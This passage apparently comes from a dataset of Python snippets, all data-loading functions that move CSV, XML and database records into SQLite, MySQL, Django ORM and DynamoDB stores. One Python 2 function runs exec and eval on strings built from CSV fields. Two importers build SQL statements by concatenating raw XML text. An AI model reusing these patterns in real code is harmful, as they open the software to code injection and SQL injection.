gt_sample[1][\"x_min\"],\n 'upper_left_y': gt_sample[1][\"y_min\"],\n 'width': gt_sample[1][\"width\"],\n 'height': gt_sample[1][\"height\"]\n },\n 'path': gt_sample[1][\"Path\"]\n }\n if identity not in self.groundtruth_metadata.keys():\n self.groundtruth_metadata[identity] = {\n 'index': 0,\n 'metadata': []\n }\n # the other elements in the list associated to an identity are metadata \n self.groundtruth_metadata[identity]['metadata'].append(id_data)\n self.num_samples += 1\n # Dump loaded data to cache\n # Split csv path in directory path and filename\n (csv_dir, csv_name) = os.path.split(csv_path)\n # Create a name for cache file with the same name as csv file but different extension\n cache_name = csv_name.split('.')[0]+'.cache'\n # Create a path pointing to the new cache file, locating it in the same directory as the csv file\n cache_path = os.path.join(csv_dir, cache_name)\n # Write relevant data to file\n with open(cache_path, 'wb') as cache_out_file:\n out_dict = {}\n out_dict['identities'] = self.identities\n out_dict['groundtruth_metadata'] = self.groundtruth_metadata\n out_dict['num_samples'] = self.num_samples\n pickle.dump(out_dict, cache_out_file) \n print('Finished loading data!')\n if self.mode == 'training':\n self._shuffle()","def _load(self):\n op_type_file_path = os.path.join(\n self._profiling_dir,\n self._csv_file_to_analyse.format(self._device_id)\n )\n op_type_file_path = validate_and_normalize_path(\n op_type_file_path, raise_key=\"Invalid op_type_file_path\")\n if not os.path.isfile(op_type_file_path):\n log.warning('The file <%s> does not exist.', op_type_file_path)\n return\n\n with open(op_type_file_path, 'r') as file:\n csv_reader = csv.reader(file)\n _ = next(csv_reader)\n for info in csv_reader:\n self._data.append(self._convert_field_type(info))","def load_data(model, i18n_model, i18n_dirname):\n position_num = []\n dic_keys = {}\n csv_separator = ':'\n re_num = re.compile('\\d+$')\n\n # Get only the fields name\n fields = [ x for x in model[2:] if not (':' in x or '#' in x) ]\n # Get left data.\n fields_number = len(fields)\n csv_file = model[0]\n model_name = model[1]\n print \"Adding data in %s.%s table\" % (i18n_dirname, model_name)\n # Load the class of the models file\n exec \"%s = getattr(i18n_model, model_name)\" % model_name\n\n # Get the position of numeric fields\n if ':N' in model:\n pos = model.index(':N')\n position_num = model[pos-1] # The field numeric is before of ':N'\n position_num = [ int(x) for x in position_num if not '#' in x ]\n\n # Info. about keys\n if ':K' in model:\n pos = model.index(':K')\n info_keys = model[pos-1]\n # Format-> :[position],[model name]:...\n info_keys = info_keys.split(':')[1:]\n keys = [ (int(x.split(',')[0]), x.split(',')[1]) for x in info_keys ]\n dic_keys = dict(keys)\n\n # To store the keys. Set to values null\n model_id = {}\n for x in dic_keys.keys():\n model_id.setdefault(x, None)\n\n # Convert from CSV to Django ORM\n reader = csv.reader(comment_stripper(\n open(csv_file)), delimiter=csv_separator)\n\n line_bool = [] # Lines where is enabled a boolean field.\n bool_found = False\n line_number = 0\n for csv_line in reader:\n #debug\n# if \\\n# model_name == \"Phone\" or \\\n# model_name == \"AddressFormat\":\n# model_name == \"Country\" or \\\n# model_name == \"CountryLanguage\" or \\\n# model_name == \"Language\" or \\\n# model_name == \"Subdivision\" or \\\n# model_name == \"TimeZone\" or\n# print \"\\tskip\"\n# break\n\n object_line = []\n key_line_s = []\n line_number += 1\n\n object_line.append(\"c%d = %s(\" % (line_number, model_name))\n\n for position in range(0, fields_number):\n field_text = csv_line[position]\n if field_text == 'True':\n if not bool_found:\n bool_field = fields[position]\n bool_found = True\n line_bool.append(line_number)\n elif field_text: # If is not empty\n key_line = []\n if object_line[-1][-1] != '(': # Check the last character\n object_line.append(', ')\n # If is a key\n if dic_keys and dic_keys.has_key(position):\n object_line.append('%s=key_id%d'\n % (fields[position], position))\n key_model = dic_keys.get(position)\n\n # Load the class of the foreigner model.\n try:\n eval(\"%s\" % key_model)\n except NameError:\n exec \"%s = getattr(i18n_model, key_model)\" %key_model\n\n if csv_line[position] != model_id.get(position):\n model_id[position] = csv_line[position]\n\n key_line.append('key_id%d = %s.objects.get(pk='\n % (position, key_model))\n if re_num.match(model_id.get(position)): # integer\n key_line.append('%d)' % model_id.get(position))\n else:\n key_line.append('\"%s\")' % model_id.get(position))\n\n key_line = ''.join(key_line)\n key_line_s.append(key_line)\n\n # If is an integer\n elif position in position_num:\n object_line.append('%s=%s' \\\n % (fields[position], csv_line[position]))\n # If is a string.\n else:\n object_line.append('%s=\"%s\"' \\\n % (fields[position], csv_line[position]))\n\n if key_line_s:\n for key in key_line_s:\n# print key #debug\n exec(key)\n\n object_line.append(\")\")\n load_object = ''.join(object_line)\n# print load_object #debug\n exec(load_object) # Load the object\n\n # At the end, save all objects together\n if model_name == 'Language':\n # Display the english language.\n for num in range(1, line_number+1):\n obj = eval(\"c%d\" % num)\n if obj.iso3_code == 'eng':\n obj.display = True\n obj.save()\n else:\n for num in range(1, line_number+1):\n obj = eval(\"c%d\" % num)\n if num in line_bool:\n exec(\"obj.%s = True\" % bool_field)\n try:\n \tobj.save()\n except:\n print \"Problem loading data. Entry will not be loaded.\"\n try:\n transaction.rollback()\n except:\n #Some databases were having trouble with the rollback\n pass","def run(self):\n lineage_csv_gz = self.input_files_local[0][0]\n output_db = self.output_files_local()[0]\n log.write(f\"input: {lineage_csv_gz} output: {output_db}\")\n\n with IdSeqDictForUpdate(output_db, IdSeqDictValue.VALUE_TYPE_ARRAY) as lineage_dict:\n batch_list = {}\n with gzip.open(lineage_csv_gz, \"rt\") as gzf:\n for line in gzf:\n fields = line.rstrip().split(\",\")\n taxid = fields[0]\n species, genus, family = fields[-1:-4:-1]\n batch_list[taxid] = [species, genus, family]\n if len(batch_list) >= BATCH_INSERT_SIZE:\n lineage_dict.batch_inserts(batch_list.items())\n batch_list = {}\n lineage_dict.batch_inserts(batch_list.items())","def addDataFromCSV(featureClassPath, csvPath):\r\n csvColumnNames = []\r\n featureClasssAttrNames = []\r\n with open(csvPath, \"r\") as csv:\r\n names = csv.next()[:-1].split(\",\")\r\n for name in names:\r\n csvColumnNames.append(name)\r\n fcFields = arcpy.ListFields(featureClassPath)\r\n for fieldName in fcFields:\r\n if fieldName.name != \"OBJECTID\" and fieldName.name != \"SHAPE\":\r\n featureClasssAttrNames.append(fieldName.name.encode(\"utf-8\"))\r\n\r\n if (set(featureClasssAttrNames).issubset(csvColumnNames)) == True:\r\n insertCursorList = featureClasssAttrNames\r\n insertCursorList.append(\"SHAPE@X\")\r\n insertCursorList.append(\"SHAPE@Y\")\r\n with open(csvPath, \"r\") as _csv:\r\n _csv.readline()\r\n with arcpy.da.InsertCursor(featureClassPath,insertCursorList) as insertCursor:\r\n for row in _csv:\r\n insertCursor.insertRow(row[:-1].split(\",\"))\r\n\r\n else:\r\n print \"La schema de CSV no es la misma con la schema de Feature Class\"","def CsvToJson(nomfichierJson):\n with open(\"save/save.csv\",'r') as f:\n liste_cube = list()\n liste_robot = list()\n \"\"\"deux listes vides pour contenir les objets charges\"\"\"\n for line in f:\n ligne=line.split(\";\")\n if ligne[0] == 'Arene':\n \"\"\"On cree une nouvelle arene avec les parametres trouves sur la ligne, separes par des ';' \"\"\"\n arene = Arene(int(ligne[1]),int(ligne[2]),int(ligne[3]),liste_cube,liste_robot)\n arene.liste_robot=liste_robot\n elif ligne[0] == 'Cube':\n \"\"\"On ajoute le cube a la liste de cube de l'arene, avec parametres trouves sur la ligne\"\"\"\n arene.liste_cube.append(Cube(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5]),int(ligne[6])))\n elif ligne[0] == 'Mur':\n arene.liste_cube.append(Mur(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5]),int(ligne[6])))\n elif ligne[0] == 'Sol':\n arene.liste_cube.append(Sol(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5])))\n elif ligne[0] == 'Robot':\n (x,y,z)=literal_eval(ligne[1])\n ((cax,cay),(cbx,cby),(ccx,ccy),(cdx,cdy))=literal_eval(ligne[2])\n (a,b,c)=literal_eval(ligne[3])\n (lo,la,ha)=literal_eval(ligne[4])\n vitesse=literal_eval(ligne[5])\n arene.liste_robot.append(Robot((x,y,z),((cax,cay),(cbx,cby),(ccx,ccy),(cdx,cdy)),(a,b,c),(lo,la,ha),vitesse))\n saveFic(arene,nomfichierJson)","def get_data(self):\r\n self.logger_object.log(self.file_object,'Getting data ')\r\n try:\r\n self.data= pd.read_csv(self.training_file) # reading the data file\r\n self.logger_object.log(self.file_object,'Loaded data successfully')\r\n return self.data\r\n except Exception as e:\r\n self.logger_object.log(self.file_object,'Exception has occured in data get_data method '+str(e))\r\n self.logger_object.log(self.file_object,\r\n 'Data Load Unsuccessful.Exited the get_data method of the Data_Getter class')\r\n raise Exception()","def loaddata(self):\n # Connect to the db\n self.conn, self.c = self.connect_db(self.dbname)\n # create the bdefile table to \n self.c.execute(oeeutil.sql_create_bdefile_table)\n # Delete any previous records\n self.c.execute('DELETE FROM bdefile')\n # hold the content for analysis\n for item in self.content:\n self.c.execute('INSERT INTO bdefile VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?)', item)\n self.c.executescript(oeeutil.sql_create_bdefile_view)\n self.conn.commit()","def load_data_to_db(self, path):\n table_names = ['train_transaction', 'train_identity', 'test_transaction', 'test_identity']\n for table_name in table_names:\n pat = self.TRANSACTION_NON_NUMBER_PATTERN if 'transaction' in table_name else self.IDENTITY_NON_NUMBER_PATTERN\n print(\"Loading table: \" + table_name)\n fn = os.path.join(path, table_name + '.csv')\n self.dbinstance.build_table_from_csv(fn, pat, table_name)\n print(\"Loaded table \" + table_name)","def ingest(self):\n self.log.debug('starting the ``get`` method')\n\n dictList = self._create_dictionary_of_ned_d()\n self.primaryIdColumnName = \"primaryId\"\n self.raColName = \"raDeg\"\n self.declColName = \"decDeg\"\n\n tableName = self.dbTableName\n createStatement = u\"\"\"\n CREATE TABLE `%(tableName)s` (\n `primaryId` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'An internal counter',\n `Method` varchar(150) DEFAULT NULL,\n `dateCreated` datetime DEFAULT CURRENT_TIMESTAMP,\n `dateLastModified` datetime DEFAULT CURRENT_TIMESTAMP,\n `updated` varchar(45) DEFAULT '0',\n `dist_derived_from_sn` varchar(150) DEFAULT NULL,\n `dist_in_ned_flag` varchar(10) DEFAULT NULL,\n `dist_index_id` mediumint(9) DEFAULT NULL,\n `dist_mod` double DEFAULT NULL,\n `dist_mod_err` double DEFAULT NULL,\n `dist_mpc` double DEFAULT NULL,\n `galaxy_index_id` mediumint(9) DEFAULT NULL,\n `hubble_const` double DEFAULT NULL,\n `lmc_mod` double DEFAULT NULL,\n `notes` varchar(500) DEFAULT NULL,\n `primary_ned_id` varchar(150) DEFAULT NULL,\n `redshift` double DEFAULT NULL,\n `ref` varchar(150) DEFAULT NULL,\n `ref_date` int(11) DEFAULT NULL,\n `master_row` tinyint(4) DEFAULT '0',\n `major_diameter_arcmin` double DEFAULT NULL,\n `ned_notes` varchar(700) DEFAULT NULL,\n `object_type` varchar(100) DEFAULT NULL,\n `redshift_err` double DEFAULT NULL,\n `redshift_quality` varchar(100) DEFAULT NULL,\n `magnitude_filter` varchar(10) DEFAULT NULL,\n `minor_diameter_arcmin` double DEFAULT NULL,\n `morphology` varchar(50) DEFAULT NULL,\n `hierarchy` varchar(50) DEFAULT NULL,\n `galaxy_morphology` varchar(50) DEFAULT NULL,\n `radio_morphology` varchar(50) DEFAULT NULL,\n `activity_type` varchar(50) DEFAULT NULL,\n `in_ned` tinyint(4) DEFAULT NULL,\n `raDeg` double DEFAULT NULL,\n `decDeg` double DEFAULT NULL,\n `eb_v` double DEFAULT NULL,\n `sdss_coverage` TINYINT DEFAULT NULL,\n PRIMARY KEY (`primaryId`),\n UNIQUE KEY `galaxy_index_id_dist_index_id` (`galaxy_index_id`,`dist_index_id`)\n ) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;\n DROP VIEW IF EXISTS `view_%(tableName)s_master_recorders`;\n CREATE\n VIEW `view_%(tableName)s_master_recorders` AS\n (SELECT \n `%(tableName)s`.`primary_ned_id` AS `primary_ned_id`,\n `%(tableName)s`.`object_type` AS `object_type`,\n `%(tableName)s`.`raDeg` AS `raDeg`,\n `%(tableName)s`.`decDeg` AS `decDeg`,\n `%(tableName)s`.`dist_mpc` AS `dist_mpc`,\n `%(tableName)s`.`dist_mod` AS `dist_mod`,\n `%(tableName)s`.`dist_mod_err` AS `dist_mod_err`,\n `%(tableName)s`.`Method` AS `dist_measurement_method`,\n `%(tableName)s`.`redshift` AS `redshift`,\n `%(tableName)s`.`redshift_err` AS `redshift_err`,\n `%(tableName)s`.`redshift_quality` AS `redshift_quality`,\n `%(tableName)s`.`major_diameter_arcmin` AS `major_diameter_arcmin`,\n `%(tableName)s`.`minor_diameter_arcmin` AS `minor_diameter_arcmin`,\n `%(tableName)s`.`magnitude_filter` AS `magnitude_filter`,\n `%(tableName)s`.`eb_v` AS `gal_eb_v`,\n `%(tableName)s`.`hierarchy` AS `hierarchy`,\n `%(tableName)s`.`morphology` AS `morphology`,\n `%(tableName)s`.`radio_morphology` AS `radio_morphology`,\n `%(tableName)s`.`activity_type` AS `activity_type`,\n `%(tableName)s`.`ned_notes` AS `ned_notes`,\n `%(tableName)s`.`in_ned` AS `in_ned`,\n `%(tableName)s`.`primaryId` AS `primaryId`\n FROM\n `%(tableName)s`\n WHERE\n (`%(tableName)s`.`master_row` = 1));\n \"\"\" % locals()\n\n self.add_data_to_database_table(\n dictList=dictList,\n createStatement=createStatement\n )\n\n self._clean_up_columns()\n self._get_metadata_for_galaxies()\n self._update_sdss_coverage()\n\n self.log.debug('completed the ``get`` method')\n return None","def load_ase_data(\n db_path=\"oqmd_all_entries.db\",\n dtype=float,\n cutoff_type=\"voronoi\",\n cutoff_radius=2.0,\n filter_query=None,\n self_interaction=False,\n discard_unconnected=False,\n ):\n con = ase.db.connect(db_path)\n sel = filter_query\n\n for i, row in enumerate(select_wfilter(con, sel)):\n if i % 100 == 0:\n print(\"%010d \" % i, sep=\"\", end=\"\\r\")\n atoms = row.toatoms()\n if row.key_value_pairs:\n prop_dict = row.key_value_pairs\n else:\n prop_dict = row.data\n prop_dict[\"id\"] = row.id\n try:\n graphobj = FeatureGraph(\n atoms,\n cutoff_type,\n cutoff_radius,\n lambda x: x,\n self_interaction=self_interaction,\n **prop_dict\n )\n except RuntimeError:\n logging.error(\"Error during data conversion of row id %d\", row.id)\n continue\n if discard_unconnected and (graphobj.conns.shape[0] == 0):\n logging.error(\"Discarding %i because no connections made %s\", i, atoms)\n else:\n yield graphobj\n print(\"\")","def load_file(self, query, table_name, infile, batch_size=1000, throttle_size=10_000, throttle_time=3):\n logger.info(\"Importing from {}, batch size = {} throttle size={} throttle time={}\"\\\n .format(infile, batch_size, throttle_size, throttle_time))\n reader = csv.DictReader(open(infile, 'r'))\n insert_q = self.build_insert_query(query, self._clean_fields(reader.fieldnames), table_name)\n logger.debug(insert_q)\n # columnNames = reader.fieldnames\n\n row_count = 0\n batch = []\n batch_count = 1\n\n total_rows_modified = 0\n throttle_count = 0\n\n i = 0\n for row in reader:\n if row_count >= batch_size - 1:\n logger.info(\"Submitting INSERT batch {}\".format(batch_count))\n total_rows_modified += self._submit_batch(insert_q, batch)\n \n logger.debug(str(batch)[:self.max_debug_chars])\n\n batch = []\n row_count = 0\n batch_count += 1\n else:\n row_count += 1\n\n # data = OrderedDict((self._clean_field(key), value) for key, value in row.items())\n data = OrderedDict()\n for key, value in row.items():\n key = self._clean_field(key)\n if key in self.column_type_overrides:\n try:\n value = self.column_type_overrides[key](value)\n except Exception as e:\n logger.debug(e)\n logger.debug(f\"Could not set value for {key}, default to None\")\n value = None\n # value = self._clean_values(key, value)\n else:\n # If no value is defined, use null.\n if not value:\n value = None\n data[key] = value\n\n batch.append(data)\n\n # Put in a sleep timer to throttle how hard we hit the database\n if throttle_time and throttle_size and (throttle_count >= throttle_size - 1):\n logger.info(f\"Sleeping for {throttle_time} seconds... row: {i}\")\n time.sleep(int(throttle_time))\n throttle_count = 0\n elif throttle_time and throttle_size:\n throttle_count += 1\n i += 1\n\n # Submit remaining INSERT queries\n if batch:\n logger.debug(batch)\n logger.info(\"Submitting INSERT batch {}\".format(batch_count))\n total_rows_modified += self._submit_batch(insert_q, batch)\n \n return total_rows_modified","def main(csvfile, dbfile, verbose=False):\n CONN = sqlite3.connect(dbfile)\n cursor = CONN.cursor()\n create_schema(cursor)\n process_data(cursor, csvfile, verbose=verbose)\n CONN.commit()\n CONN.close()","def load_csv(filename):\n # Open csvfile\n with open(filename) as csvfile:\n reader = csv.DictReader(csvfile)\n\n # Put data in gloabal list\n for row in reader:\n # Get data of subject with either or both milk and peanut allergy\n if row[\"MILK_ALG_START\"] != \"NA\" or row[\"PEANUT_ALG_START\"] != \"NA\":\n sub_list = list()\n for key in DATA_KEYS:\n sub_list.append(row[key])\n\n # Add data of subject to all data \n data_list.append(sub_list)","def load_drugs():\n\n print(\"Drugs\")\n\n Drug.query.delete()\n\n with open(\"seed_data/drug_seed.psv\") as drugs:\n for row in drugs:\n name = row.strip()\n\n drug = Drug(generic_name=name)\n\n db.session.add(drug)\n\n db.session.commit()","def load_data(self):\n df= self.read_file()\n for row,col in df.iterrows():\n Employeeid = int(col['Empolyeeid'])\n Employee_Name = col['Employee_Name']\n Age = col['Age']\n Salary = col['Salary']\n self.table.put_item(\n Item={\n \"Employeeid\":Employeeid,\n \"Employee_Name\": Employee_Name,\n \"Age\": Age,\n \"Salary\": Salary\n }\n )\n return True","def insert_from_csv_reader(self, reader):\n\n conn = sqlite3.connect(self.db_name)\n c = conn.cursor()\n for installation_key in reader.installations:\n insert_query = \"INSERT INTO Installation(Id, Name, Address, PostalCode, City, Latitude, Longitude) \" \\\n \"VALUES(?, ?, ?, ?, ?, ?, ?) \"\n install = reader.installations[installation_key]\n c.execute(insert_query, (\n install.id, install.name, install.address, install.postal_code, install.city, install.latitude,\n install.longitude))\n\n for activity_key in reader.activities:\n insert_query = \"INSERT INTO Activity(Id, Name) VALUES(?, ?)\"\n act = reader.activities[activity_key]\n c.execute(insert_query, (act.id, act.name))\n\n for equipment_key in reader.equipments:\n insert_query = \"INSERT INTO Equipment(Id, Name, IdInstallation) VALUES(?, ?, ?)\"\n equip = reader.equipments[equipment_key]\n c.execute(insert_query, (equip.id, equip.name, equip.installation.id))\n\n # We use the activities references present on the equipment to create a linking table\n for act in equip.activities:\n insert_query = \"INSERT INTO EquipmentActivity(IdEquipment, IdActivity) VALUES(?, ?)\"\n c.execute(insert_query, (equip.id, act.id))\n\n conn.commit()\n conn.close()","def load_database(self, main_class):\n main_class.database.delete_all(\"render\")\n main_class.database.delete_all(\"object\")\n #main_class.database.delete_all(\"output\")\n render_csv = os.path.join(self.filepath, \"Render_data.csv\")\n object_csv = os.path.join(self.filepath, \"Obj_data.csv\")\n main_class.database.import_excel(render_csv, \"render\")\n main_class.database.import_excel(object_csv, \"object\")\n\n render_dic=main_class.database.get_database_dict(\"render\")\n\n main_class.render_database = main_class.database.get_data_from_database(\"render\")\n main_class.object_database = main_class.database.get_data_from_database(\"object\")\n\n main_class.background_picture_list = main_class.database.get_background_pictures_names()\n main_class.packaging_picture_list = main_class.database.get_bubble_wrap_pictures_names()\n\n main_class.camera_settings.append([0, 0, 0, 0, 100])\n for obj in main_class.render_database:\n \"\"\"\n extracting Camerasetting from Database and set all important angles and distances\n \"\"\"\n if obj[render_dic[\"object_type\"]] == \"camera\":\n for i in range(0, int(obj[render_dic[\"polar_angle_segments\"]])):\n for j in range(0, int(obj[render_dic[\"azimuth_angle_segments\"]])):\n pol_min = obj[render_dic[\"polar_angle_min\"]]\n pol_max = obj[render_dic[\"polar_anglel_max\"]]\n pol_segments= obj[render_dic[\"polar_angle_segments\"]]\n pol_random=obj[render_dic[\"polar_angle_random_rad\"]]\n try:\n pol_min = float( pol_min.replace(',','.'))\n except:\n pass\n try:\n pol_max = float( pol_max.replace(',','.'))\n except:\n pass\n try:\n pol_segments = float( pol_segments.replace(',','.'))\n except:\n pass\n try:\n pol_random = float( pol_random.replace(',','.'))\n except:\n pass\n polar_angle = (pol_min + ((pol_max - pol_min)/(pol_segments))*i)\n\n azi_min = obj[render_dic[\"azimuth_angle_min\"]]\n azi_max = obj[render_dic[\"azimuth_angle_max\"]]\n azi_segments= obj[render_dic[\"azimuth_angle_segments\"]]\n azi_random= obj[render_dic[\"azimuth_angle_random_rad\"]]\n\n try:\n azi_min = float( azi_min.replace(',','.'))\n except:\n pass\n try:\n azi_max = float( azi_max.replace(',','.'))\n except:\n pass\n try:\n azi_segments = float( azi_segments.replace(',','.'))\n except:\n pass\n try:\n azi_random = float( azi_random.replace(',','.'))\n except:\n pass\n azimuth_angle = (azi_min + ((azi_max - azi_min)/(azi_segments))*j)\n\n position=[polar_angle, pol_random, azimuth_angle, azi_random, obj[render_dic[\"radius\"]] ]\n print(\"camera position added: \",position)\n main_class.camera_settings.append(position)\n \n if obj[render_dic[\"object_type\"]]==\"light\":\n\n if obj[render_dic[\"name\"]]==\"SUN\":\n radius= obj[render_dic[\"radius\"]]\n try:\n radius = float( radius.replace(',','.'))\n except:\n pass\n light_obj=[ obj[render_dic[\"name\"]] , [0,0, radius ] ]\n main_class.light_settings.append(light_obj)\n print(\"sun added to list\")\n\n if obj[render_dic[\"name\"]]==\"SPOT\":\n for i in range(0, int(obj[render_dic[\"polar_angle_segments\"]])):\n for j in range(0, int(obj[render_dic[\"azimuth_angle_segments\"]])):\n pol_min = obj[render_dic[\"polar_angle_min\"]]\n pol_max = obj[render_dic[\"polar_anglel_max\"]]\n pol_segments= obj[render_dic[\"polar_angle_segments\"]]\n pol_random=obj[render_dic[\"polar_angle_random_rad\"]]\n try:\n pol_min = float( pol_min.replace(',','.'))\n except:\n pass\n try:\n pol_max = float( pol_max.replace(',','.'))\n except:\n pass\n try:\n pol_segments = float( pol_segments.replace(',','.'))\n except:\n pass\n try:\n pol_random = float( pol_random.replace(',','.'))\n except:\n pass\n polar_angle = (pol_min + ((pol_max - pol_min)/(pol_segments))*i)\n\n azi_min = obj[render_dic[\"azimuth_angle_min\"]]\n azi_max = obj[render_dic[\"azimuth_angle_max\"]]\n azi_segments= obj[render_dic[\"azimuth_angle_segments\"]]\n azi_random= obj[render_dic[\"azimuth_angle_random_rad\"]]\n try:\n azi_min = float( azi_min.replace(',','.'))\n except:\n pass\n try:\n azi_max = float( azi_max.replace(',','.'))\n except:\n pass\n try:\n azi_segments = float( azi_segments.replace(',','.'))\n except:\n pass\n try:\n azi_random = float( azi_random.replace(',','.'))\n except:\n pass\n azimuth_angle = (azi_min + ((azi_max - azi_min)/(azi_segments))*j)\n position=[polar_angle, pol_random, azimuth_angle, azi_random, obj[render_dic[\"radius\"]] ]\n light_obj=[ obj[render_dic[\"name\"]] , position, obj[render_dic[\"tracking_obj\"]],1000 ]\n print(\"added light_obj: \", light_obj)\n main_class.light_settings.append(light_obj)\n main_class.max_loop_count=len(main_class.camera_settings)*len(main_class.light_settings)\n print(\"loop count is:\", main_class.max_loop_count)\n return","def __init__(self, header=None, rows=None, fromfile=None, delimiter=','):\n\t\tif fromfile:\n\t\t\trs = Csv(fromfile,delimiter=delimiter).getRows()\t\n\t\t\tself.header=rs[0]\n\t\t\tself.data = [] #a list of dictionaries\n\t\t\tfor r in rs[1:]:\n\t\t\t\tacc= dict()\n\t\t\t\tfor h in self.header:\n\t\t\t\t\tacc[h]=r[self.header.index(h)]\t\n\t\t\t\tself.data.append(acc) \n\t\telif header:\n\t\t\tself.header = header\t\n\t\t\tself.data = []\n\t\t\tif rows:\n\t\t\t\tif isinstance(rows[0],dict):\n\t\t\t\t\tself.data = rows\n\t\t\t\telif isinstance(rows[0],list):\t\n\t\t\t\t\tfor r in rows:\n\t\t\t\t\t\tacc= dict()\n\t\t\t\t\t\tfor h in self.header:\n\t\t\t\t\t\t\tacc[h]=r[self.header.index(h)]\n\t\t\t\t\t\tself.data.append(acc) \n\t\telse:\n\t\t\tself.header = []\t\n\t\t\tself.data = []","def importPerson ( c, peopleInstance ):\n assert str(type(c)) == \"<type '_mysql.connection'>\"\n assert str(type(peopleInstance)) == \"<type 'instance'>\"\n personID = peopleInstance.attrib[\"personIdent\"]\n \n #Gets location sub elements in list. Inserts into PeopleLocation table by indexing list\n locationElements = list(peopleInstance.findall(\"Location\"))\n for instance in locationElements:\n sqlQuery ( c, \"insert into PeopleLocations values ( '\"+personID+\"', '\"+instance[0].text+\"', '\"+instance[1].text+\"', '\"+instance[2].text+\"');\")\n \n #Gets list of all RelatedOrganizations and inserts into PeopleToOrganizations table\n relatedOrgs = peopleInstance.find(\"RelatedOrganizations\")\n if relatedOrgs != None :\n for instance in relatedOrgs:\n sqlQuery ( c, \"insert into PeopleToOrganizations values ( '\"+personID+\"', '\"+instance.attrib[\"organizationIdent\"]+\"');\")\n\n #Gets all URL's in a list. Indexes list, splices tag to get type, inserts data into table\n externalResources = peopleInstance.find(\"ExternalResources\")\n \n #Get all resources. Checks for Citation because it's the only one not ending in 'URL'. Get index of URL for others to splice off. Add to table\n for instance in externalResources:\n sqlQuery ( c, \"insert into PersonExternalResources values ( '\"+personID+\"', '\"+instance.tag+\"', '\"+instance.text+\"');\")\n \n #Finds values of remaining elements and inserts into People table\n firstName = peopleInstance.find(\".//\" + \"FirstName\").text\n middleName = peopleInstance.findtext(\".//\" + \"MiddleName\", \"\")\n lastName = peopleInstance.find(\".//\" + \"LastName\").text\n suffix = peopleInstance.findtext(\"Suffix\", \"\")\n kind = peopleInstance.find(\"Kind\").attrib[\"personKindIdent\"]\n sqlQuery ( c, \"insert into People values ( '\"+personID+\"', '\"+firstName+\"', '\"+middleName+\"', '\"+lastName+\"', '\"+suffix+\"', '\"+kind+\"');\")","def load_stat_record(self, model, df, field_list):\n stat_records = []\n for idx, row in df.iterrows():\n if not self.is_empty_record(*tuple([row[field] for field in field_list])):\n field_list.append('lineup_id')\n stat_dict = {field: row[field] for field in field_list if row[field]}\n stat_records.append(model(**stat_dict))\n self.session.bulk_save_objects(stat_records)\n print(\"{} {} records from {} lineup records\".format(len(stat_records), model.__name__, len(df)))\n self.session.commit()","def prepareSemanticDifferential():\r\n\t\r\n filename = (\"OsgoodOriginal.csv\") \r\n fileIn = open(filename, 'r')\r\n allData = []\r\n line = fileIn.readline()\r\n while line != \"\":\r\n line = fileIn.readline().strip()\r\n if line != \"\":\r\n values = line.split(',')\r\n wordData = {}\r\n wordData['word'] = str(values[0])\r\n wordData['evaluation'] = float(values[1])\r\n wordData['activity'] = float(values[2])\r\n wordData['potency'] = float(values[3])\r\n allData.append(wordData)\r\n fileIn.close()\r\n return allData","def importOrg ( c, orgInstance ):\n assert str(type(c)) == \"<type '_mysql.connection'>\"\n assert str(type(orgInstance)) == \"<type 'instance'>\"\n orgID = orgInstance.attrib[\"organizationIdent\"]\n\n #Gets location sub elements in list. Inserts into CrisisLocation table by indexing list\n allLocations = orgInstance.findall(\"Location\") \n if len(allLocations) != 0:\n for instance in allLocations:\n sqlQuery ( c, \"insert into OrganizationLocations values ( '\"+orgID+\"', '\"+instance[0].text+\"', '\"+instance[1].text+\"', '\"+instance[2].text+\"');\")\n\n #Get all resources. Checks for Citation because it's the only one not ending in 'URL'. Get index of URL for others to splice off. Add to table\n externalResources = orgInstance.find(\"ExternalResources\")\n if len(externalResources) != 0:\n for instance in externalResources:\n sqlQuery ( c, \"insert into OrganizationExternalResources values ( '\"+orgID+\"', '\"+instance.tag+\"', '\"+instance.text+\"');\")\n\n #Get all values for Organizations table and insert to DB\n postalAddress = orgInstance.find(\".//\" + \"PostalAddress\")\n name = orgInstance.find(\"Name\").text\n kind = orgInstance.find(\"Kind\").attrib[\"organizationKindIdent\"]\n history = orgInstance.find(\"History\").text\n phone = str(orgInstance.find(\".//\" + \"Telephone\").text)\n fax = str(orgInstance.find(\".//\" + \"Fax\").text)\n email = orgInstance.find(\".//\" + \"Email\").text\n address = postalAddress[0].text\n locality = postalAddress[1].text\n region = postalAddress[2].text\n postalCode = postalAddress[3].text\n country = postalAddress[4].text\n sqlQuery (c , \"insert into Organizations values ( '\"+orgID+\"', '\"+name+\"', '\"+kind+\"', '\"+history+\"', \"+phone+\", \"+fax+\", '\"+email+\"', '\"+address+\"', '\"+locality+\"', '\"+region+\"', '\"+postalCode+\"', '\"+country+\"');\")","def csv_to_db(db, filename):\n csv_table = open(filename, 'r')\n updater = [(int(dstr), int(hstr)) for (dstr, hstr) in csv.reader(csv_table)]\n db.bulk_update(updater)","def kosdaq_to_db(chunk):\n bulk_list = []\n for row in chunk:\n bulk_list.append(Kosdaq(\n date=row[0],\n close=float(row[1]),\n open=float(row[2]),\n high=float(row[3]),\n low=float(row[4]),\n volume=float(row[5]),\n d1_diff_rate=float(row[6])\n ))\n Kosdaq.objects.bulk_create(bulk_list)\n return bulk_list","def import_csv_dataset():\n import_fields = pd.read_csv('redacted-2020-june-30-wprdc-.csv', header=None).to_numpy()[0, :]\n import_values = pd.read_csv('redacted-2020-june-30-wprdc-.csv').to_numpy()\n import_values = clean_values(import_values)\n return import_fields, import_values","def test_valid_csv(self):\n url=\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\"\n readerobject=requester.url_to_csv(url, fname='wine2')\n self.assertTrue(str(type(readerobject)),\"_csv.reader\")","def _load_table(table: Model, directory: Path, format_: str):\n\n if directory is not None:\n print(f\" Loading {table.table_name()}...\")\n in_file = Path(directory) / f\"{table.table_name()}.{format_}\"\n dataset = tablib.Dataset(headers=table.fields()).load(in_file.read_text())\n print(f\" Importing {table.table_name()} into the database...\")\n table.insert_many(dataset.dict).execute()\n print(\" Done.\")\n print(\"=====================\")\n else:\n pass\n # print(dataset.export(\"csv\"))","def 